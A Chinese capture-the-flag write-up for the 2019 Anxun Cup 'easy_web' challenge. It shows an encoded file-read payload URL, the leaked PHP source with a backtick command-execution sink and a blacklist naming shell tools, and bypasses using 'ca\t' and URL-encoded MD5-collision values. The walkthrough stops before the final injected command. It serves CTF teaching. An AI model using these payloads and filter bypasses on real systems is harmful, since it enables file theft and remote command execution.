[安洵杯 2019]easy_web1

知识点:

        1.base64加解密

        2.md5加解密

        3.md5碰撞绕过强类型比较

        4.Linux命令绕过

进入页面发现url地址中存在 img参数和一个cmd参数,img参数看上去像是base64编码,可以去尝试一下解码.

进行了两次base64解密得到3535352e706e67看着像16进制那么在进行一次十六进制字符串转换得到555.png,像是文件读取漏洞.

我们可以尝试读取index.php的内容,对index.php进行一次16进制转换在进行2次base64加密

最终得到结果为TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

开始构造payload

http://2f95244f-7628-48a4-ba7d-3dc585b47cfd.node5.buuoj.cn:81/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4= 

将读取到的内容进行base64解码~

<?php  
// 开启错误报告,但忽略E_NOTICE级别的错误  
error_reporting(E_ALL || ~E_NOTICE);  
// 设置内容类型为HTML,并指定字符集为UTF-8  
header('content-type:text/html;charset=utf-8');  // 从GET请求中获取cmd参数  
$cmd = $_GET['cmd'];  // 检查是否同时设置了img和cmd参数,如果没有,则重定向回index.php并附带默认的img和空的cmd参数  
if (!isset($_GET['img']) || !isset($_GET['cmd'])) {  header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');  exit; // 加上exit防止后续代码执行  
}  // 对GET请求中的img参数进行两次base64解码,然后hex2bin转换  
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));  // 使用正则表达式清理$file变量,只保留字母、数字和小数点  
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);  // 检查清理后的$file变量是否包含'flag'字符串,如果包含,则显示一张图片并终止执行  
if (preg_match("/flag/i", $file)) {  echo '<img src ="./ctf3.jpeg">';  die("xixiï½ no flag");  
} else {  // 读取$file指向的文件内容,将其base64编码,并嵌入到HTML中以图片形式显示  // 注意:这里假设文件是GIF格式,但实际上可能不是,这可能导致浏览器无法正确显示图片  $txt = base64_encode(file_get_contents($file));  echo "<img src='data:image/gif;base64," . $txt . "'></img>";  echo "<br>";  
}  // 直接输出cmd参数的值  
echo $cmd;  
echo "<br>";  // 使用正则表达式检查cmd参数中是否包含可能被用于恶意命令执行的关键字  
// 如果包含,则输出禁止信息  
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {  echo("forbid ~");  echo "<br>";  
} else {  // 检查POST请求中的a和b参数,如果它们字符串不相等但MD5哈希值相等,则执行cmd参数指定的命令  // 这利用了MD5哈希的某些特定输入(如数组或非常大的字符串)的碰撞特性  if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {  echo `$cmd`; // 注意:这里直接使用反引号执行命令,存在严重的安全漏洞  } else {  echo ("md5 is funny ~");  }  
}  // HTML部分,定义了页面的样式和背景图片  
?>  
<html>  
<style>  body{  background:url(./bj.png)  no-repeat center center;  background-size:cover;  background-attachment:fixed;  background-color:#CCCCCC;  
}  
</style>  
<body>  
</body>  
</html>

开始代码审计~

<?php
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;   //将cmd当成系统命令执行并输出} else {echo ("md5 is funny ~");}
}?>

我们需要绕过两个关卡,首先是preg_match()绕过,其次就是md5强类型比较绕过~

preg_math()绕过Linux命令我们可以通过dir, ca\t 来绕过.

md5强类型比较绕过我们可以通过md5碰撞来绕过,但不能通过数组来绕过,因为这里用了string的强转换,所有数组会被转换为Array.

使用md5碰撞开始构造payload.

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

那么我们开始注入~

  

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/46287.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java实现快速排序算法详解及优化

引言 快速排序&#xff08;QuickSort&#xff09;是常用的排序算法之一&#xff0c;以其高效性和简洁性著称。它通常在大数据量排序中表现出色。本文将详细讲解如何使用Java实现快速排序算法&#xff0c;并结合图解和实例代码&#xff0c;帮助您全面理解这一高级排序算法。同时…

员工聊天记录监控方法大全(五种方法你自己选择)

在现代企业中&#xff0c;为了保障业务安全、防止数据泄露和促进工作效率&#xff0c;很多公司会采用各种方法监控员工的聊天记录。虽然听起来有点“大哥哥在看着你”的感觉&#xff0c;但只要在合法和透明的前提下进行&#xff0c;这其实是为了构建一个更加健康、安全的工作环…

网络流问题-Min-cut

文章目录 1. 网络流问题基础1.1 概述1.2 常规算法1.3 总结 2. Ford-Fulkerson Algorithm2.1 概述2.2 Ford 算法2.3 Ford 算法小结 链接&#xff1a; B站学习视频 1. 网络流问题基础 1.1 概述 最大流问题主要是关于有向图问题。有向图中有m个边&#xff0c; n个节点,其中有一个…

怎么用PPT录制微课?详细步骤解析!

随着信息技术的不断发展&#xff0c;微课作为一种新型的教学形式&#xff0c;因其短小精悍、针对性强等特点&#xff0c;在教育领域得到了广泛的应用。而PPT作为一款常用的演示工具&#xff0c;不仅可以用来制作课件&#xff0c;还可以利用其内置的录屏功能或结合专业的录屏软件…

Dify中的经济索引模式实现过程

当索引模式为经济时&#xff0c;使用离线的向量引擎、关键词索引等方式&#xff0c;降低了准确度但无需花费 Token。 一.提取函数**_extract** 根据不同文档类型进行内容的提取&#xff1a; def _extract(self, index_processor: BaseIndexProcessor, dataset_document: Data…

FastAPI 学习之路(四十三)路径操作的高级配置

在实际开发中&#xff0c;可能我们有些接口不能在接口文档中与其他业务接口一样开放给前端或者其他对接人&#xff0c;那么我们肯定会想着在接口文档中对其进行屏蔽隐藏操作&#xff0c;那么可以实现吗&#xff1f; 接口文档中隐藏接口 当然&#xff0c;还很简单&#xff0c;…

Java泛型之协变与逆变

Java中的泛型有两个重要特性&#xff1a;不可变性&#xff08;invariance&#xff09;和类型擦除&#xff08;type erasure&#xff09;。这两个概念在理解和使用泛型时非常重要。以下是对这两个特性的详细解释&#xff1a; 不可变性&#xff08;Invariance&#xff09; 在Ja…

【CSS in Depth 2 精译】2.6 CSS 自定义属性(即 CSS 变量)+ 2.7 本章小结

文章目录 2.6 自定义属性&#xff08;即 CSS 变量&#xff09;2.6.1 动态变更自定义属性 2.7 本章小结 当前内容所在位置 第一章 层叠、优先级与继承第二章 相对单位 2.1 相对单位的威力2.2 em 与 rem2.3 告别像素思维2.4 视口的相对单位2.5 无单位的数值与行高2.6 自定义属性 …

SunnyUI中UIAvatar的使用

在SunnyUI控件库中&#xff0c;UIAvatar 控件是用来显示头像或图标的小部件&#xff0c;通常用于用户界面中代表用户或角色的图像。下面是如何在你的应用程序中使用 UIAvatar 的步骤&#xff1a; 1. 引入 SunnyUI 控件库 确保你的项目已经包含了 SunnyUI 控件库。如果是通过 …

PGCCC|【PostgreSQL】PCA+PCP+PCM等IT类认证申报个税退税指南

小编特将PostgreSQL证书申报个税退税流程&#xff0c;编辑成文&#xff0c;供大家申报参考哦~ 1.申报专项附加扣除 第一步&#xff1a;打开个人所得税APP&#xff0c;选择“专项附加扣除填报”&#xff1a; 第二步&#xff1a;“扣除年度”选择您要申报的年度&#xff0c;并…

Python input NameError: name ‘xxx‘ is not defined.

chiami.py name input("Come ti chiami?")type(name) print(name) $ python chimi.py Come ti chimi? xxx Traceback (most recent call last): File "chimi.py", line 1, in <module> name input("Come ti chiami?") …

script标签type属性

script标签中的type的使用 type MDN&#xff1a;该属性定义script标签元素包含或src应用的脚本语言&#xff0c;属性的值为MINE类型&#xff0c;也叫媒体类型。支持的为text/javascript,application/javascript,text/ecmascript,application/ecmascript,application/json,mod…

Windows 默认以管理员运行打开CMD

winr 默认以管理员打开运行CMD 需求&#xff1a;在运行页面输入cmd 希望是可以直接通过管理员方式打开的。 winr 打开运行 输入secpol.msc 打开本地安全策略&#xff08;注意家庭版是没有这个的&#xff09; 找到本地策略–安全选项–用户帐户控制: 以管理员批准模式运行所有管…

【网络编程】select函数

select的优点是跨平台的&#xff0c;缺点是因为是轮询查询的&#xff0c;相对效率不高 使用 select 同时监听多个文件描述符, 将监控的操作交给内核去处理&#xff0c;当有监控操作时返回。select可以完成一个进程对多个客户端的处理 #include <sys/select.h> #include…

基于Python thinker GUI界面的股票评论数据及投资者情绪分析设计与实现

1.绪论 1.1背景介绍 Python 的 Tkinter 库提供了创建用户界面的工具&#xff0c;可以用来构建股票评论数据及投资者情绪分析的图形用户界面&#xff08;GUI&#xff09;。通过该界面&#xff0c;用户可以输入股票评论数据&#xff0c;然后通过情感分析等技术对评论进行情绪分析…

前端数据加密方式

1、Base64加密 一、原生加解密 const btoa window.btoa(123) // 编码console.log(加密后,btoa)const atob window.atob(bota) // 解码console.log(解密后,atob) 二、base64插件 npm install --save js-base64 <script lang"ts"> import { defineCompon…

JavaScript 中 await 永远不会 resolve 的 Promise 会导致内存泄露吗?

前言 在 JavaScript 中&#xff0c;await 关键字用于等待一个 Promise 完成&#xff0c;它只能在异步函数&#xff08;async function&#xff09;内部使用。当 await 一个永远不会 resolve 的 Promise 时&#xff0c;它确实会阻塞异步函数的进一步执行&#xff0c;但不会直接…

Matlab中产生高斯白噪声信号的方法和其功率计算

Matlab中产生高斯白噪声信号的方法和其功率计算 matlab中计算信号能量&#xff1a; p o w e r ∑ n 1 N x 2 ( n ) power \sum_{n1}^Nx^2(n) powern1∑N​x2(n) ​ 功率为 P 1 N ∑ n 1 N x 2 ( n ) P \frac{1}{N}\sqrt{\sum_{n1}^Nx^2(n)} PN1​n1∑N​x2(n) ​ 对应ma…

C1W1.Assignment: Logistic Regression

理论课&#xff1a;C1W1.Sentiment Analysis with Logistic Regression 文章目录 前期准备导入包导入数据处理推文文本 Part 1: Logistic regressionPart 1.1: Sigmoid实现 sigmoid 函数Logistic regression: regression and a sigmoid Part 1.2 Cost function and GradientUp…

Python 使用proto 发送socket数据

import socket import binascii import struct from SensingMonitoring_pb2 import Command, CommandNamesif __name__ "__main__":client socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect(("192.168.1.100", 22295))# 发送数据comman…